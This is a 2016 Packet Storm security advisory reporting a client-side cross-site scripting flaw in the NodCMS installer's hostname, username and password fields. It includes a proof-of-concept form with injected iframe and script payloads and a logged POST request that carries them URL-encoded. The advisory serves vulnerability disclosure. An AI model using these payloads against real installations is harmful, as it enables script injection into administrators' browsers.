what you don't know can hurt you

NodCMS Installer Client-Side Cross Site Scripting

NodCMS Installer Client-Side Cross Site Scripting
Posted Nov 22, 2016
Authored by ZwX

NodCMS Installer suffers from a client-side cross site scripting vulnerability.

tags | exploit, xss
MD5 | f4144d79ddd1e8a9a55392b22dfcc621

NodCMS Installer Client-Side Cross Site Scripting

Change Mirror Download
=====================================================
[#] Exploit Title : NodCMS Installer - Multiples Cross Site Web Vulnerability
[#] Date Discovered : 2016-11-10
[#] Affected Product(s): NodCMS Installer - Content Management System
[#] Exploitation Technique: Remote
[#] Severity Level: Low
[#] Tested OS : Windows 10
=====================================================


[#] Product & Service Introduction:
===================================
NodCMS is one of thousands "PHP CMS" in world wide web, but it has some differences, that maybe for you is better and easier to use.
"NodCMS" use one of popular and powerful php framework "Codeigniter", this reason make it more Objective. Also "MVC" Model View Controller structure of nodCMS make it so understandable and easily to maintenance and update.

(Copy of the Vendor Homepage: http://www.nodcms.com/ )


[#] Technical Details & Description:
====================================
A client-side cross site scripting web vulnerability has been discovered in the official NodCMS Installer content management system.
The web vulnerability allows remote attacker to inject own malicious script codes on the client-side of the vulnerable module or service.

A client-side cross site scripting web vulnerability is located in the input `hostname`,` Username`, `password`. The web vulnerability could allow an attacker to
execute JavaScript in the user's Web browser or administrator to compromise the information and installing the CMS

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Add (Input)

Vulnerable Parameter(s):
[+] hostname
[+] username
[+] password


[#] Proof of Concept (PoC):
===========================
The vulnerability can be exploited by remote attackers without privileged user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


-- PoC Source Exploit --
<h1 class="hicon connection">Server Connection</h1>
<form name="form2" action="index.php" method="post">
<input type="hidden" id="step" name="step" value="dbselection" />
<h3>Hostname:</h3>
<div class="textbox"><input type="text" id="hostname" name="hostname" value=""'/>><iframe src="data:text/html,<script>alert(1)</script>"></iframe>" /></div>
<h3>Username:</h3>
<div class="textbox"><input type="text" id="username" name="username" value=""'/>><iframe src="data:text/html,<script>alert(2)</script>"></iframe>" /></div>
<h3>Password:</h3>
<div class="textbox"><input type="password" id="password" name="password" value=""'/>><iframe src="data:text/html,<script>alert(3)</script>"></iframe>" /></div>
<button type="button" class="btn" name="button" onClick="javascript:location.href='?step=welcomemsg'" >Back</button>
<input type="submit" class="btn" name="submit" value="Next" />
</form>

--- PoC Session Logs [POST] ---
Status: 200 [OK]
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/site/install/index.php
Cookie: PHPSESSID=h47aqhre3mdgr30e6jaqr0vuj7
Connection: keep-alive

Method POST :
step=dbselection&hostname=%22%27%2F%3E%3E%3Ciframe+src%3D%22data%3Atext%2Fhtml%2C%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3E%3C%2Fiframe%3E&username=%22%27%2F%3E%3E%3Ciframe+src%3D%22data%3Atext%2Fhtml%2C%3Cscript%3Ealert%282%29%3C%2Fscript%3E%22%3E%3C%2Fiframe%3E&password=%22%27%2F%3E%3E%3Ciframe+src%3D%22data%3Atext%2Fhtml%2C%3Cscript%3Ealert%283%29%3C%2Fscript%3E%22%3E%3C%2Fiframe%3E&submit=Next


[#] Vulnerability Disclosure Timeline:
======================================
2016-11-10 : Discovery of the Vulnerability
2016-11-10 : Contact the Vendor (No Response Support Team)
2016-11-22 : Public Disclosure


[#] Disclaimer:
===============
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.


Domain: www.zwx.fr
Contact: msk4@live.fr
Social: twitter.com/XSSed.fr
Feeds: www.zwx.fr/feed/
Advisory: www.vulnerability-lab.com/show.php?user=ZwX
packetstormsecurity.com/files/author/12026/
cxsecurity.com/search/author/DESC/AND/FIND/0/10/ZwX/
iedb.ir/author-ZwX.html
0day.today/author/27461


Copyright (c) 2016 | ZwX - Security Researcher (Software & web application)

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

March 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    15 Files
  • 2
    Mar 2nd
    5 Files
  • 3
    Mar 3rd
    3 Files
  • 4
    Mar 4th
    25 Files
  • 5
    Mar 5th
    20 Files
  • 6
    Mar 6th
    16 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    12 Files
  • 9
    Mar 9th
    3 Files
  • 10
    Mar 10th
    4 Files
  • 11
    Mar 11th
    23 Files
  • 12
    Mar 12th
    12 Files
  • 13
    Mar 13th
    12 Files
  • 14
    Mar 14th
    19 Files
  • 15
    Mar 15th
    12 Files
  • 16
    Mar 16th
    3 Files
  • 17
    Mar 17th
    1 Files
  • 18
    Mar 18th
    15 Files
  • 19
    Mar 19th
    8 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close